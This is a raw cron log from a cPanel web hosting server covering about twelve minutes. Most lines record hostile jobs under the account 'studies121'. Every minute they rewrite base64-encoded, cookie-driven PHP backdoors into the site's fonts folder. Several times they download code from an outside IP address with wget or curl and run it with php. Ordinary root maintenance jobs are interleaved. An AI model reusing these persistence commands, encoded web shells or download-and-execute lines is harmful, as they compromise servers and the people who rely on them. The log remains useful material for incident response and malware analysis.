Sep  3 21:41:01 ip-184-168-122-23 CROND[3915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:42:01 ip-184-168-122-23 CROND[3995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:42:01 ip-184-168-122-23 CROND[3997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:42:01 ip-184-168-122-23 CROND[3998]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:42:01 ip-184-168-122-23 CROND[3999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:42:01 ip-184-168-122-23 CROND[4000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:43:01 ip-184-168-122-23 CROND[4130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:43:01 ip-184-168-122-23 CROND[4134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:43:01 ip-184-168-122-23 CROND[4135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:43:01 ip-184-168-122-23 CROND[4133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:44:01 ip-184-168-122-23 CROND[4217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:44:01 ip-184-168-122-23 CROND[4220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:44:01 ip-184-168-122-23 CROND[4221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:44:01 ip-184-168-122-23 CROND[4222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:44:01 ip-184-168-122-23 CROND[4219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:45:01 ip-184-168-122-23 CROND[4396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:45:01 ip-184-168-122-23 CROND[4397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:45:01 ip-184-168-122-23 CROND[4400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:45:01 ip-184-168-122-23 CROND[4401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:45:01 ip-184-168-122-23 CROND[4406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:45:01 ip-184-168-122-23 CROND[4407]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:46:01 ip-184-168-122-23 CROND[4489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:46:01 ip-184-168-122-23 CROND[4490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:46:01 ip-184-168-122-23 CROND[4493]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 21:46:01 ip-184-168-122-23 CROND[4496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:46:01 ip-184-168-122-23 CROND[4497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:46:01 ip-184-168-122-23 CROND[4495]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 21:46:01 ip-184-168-122-23 CROND[4494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:47:01 ip-184-168-122-23 CROND[4582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:47:01 ip-184-168-122-23 CROND[4583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:47:01 ip-184-168-122-23 CROND[4585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:47:01 ip-184-168-122-23 CROND[4584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:48:01 ip-184-168-122-23 CROND[4667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:48:01 ip-184-168-122-23 CROND[4670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:48:01 ip-184-168-122-23 CROND[4669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:48:01 ip-184-168-122-23 CROND[4672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:48:01 ip-184-168-122-23 CROND[4671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:49:01 ip-184-168-122-23 CROND[4754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:49:01 ip-184-168-122-23 CROND[4756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:49:01 ip-184-168-122-23 CROND[4757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:49:01 ip-184-168-122-23 CROND[4758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:50:01 ip-184-168-122-23 CROND[4947]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:50:01 ip-184-168-122-23 CROND[4948]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 21:50:01 ip-184-168-122-23 CROND[4951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:50:01 ip-184-168-122-23 CROND[4953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:50:01 ip-184-168-122-23 CROND[4955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:50:01 ip-184-168-122-23 CROND[4958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:50:01 ip-184-168-122-23 CROND[4959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:50:01 ip-184-168-122-23 CROND[4957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:50:01 ip-184-168-122-23 CROND[4960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:51:01 ip-184-168-122-23 CROND[5045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:51:01 ip-184-168-122-23 CROND[5046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:51:01 ip-184-168-122-23 CROND[5047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:51:01 ip-184-168-122-23 CROND[5049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:52:01 ip-184-168-122-23 CROND[5126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:52:01 ip-184-168-122-23 CROND[5130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:52:01 ip-184-168-122-23 CROND[5128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:52:01 ip-184-168-122-23 CROND[5129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:52:01 ip-184-168-122-23 CROND[5131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:53:02 ip-184-168-122-23 CROND[5212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:53:02 ip-184-168-122-23 CROND[5214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:53:02 ip-184-168-122-23 CROND[5216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:53:02 ip-184-168-122-23 CROND[5215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
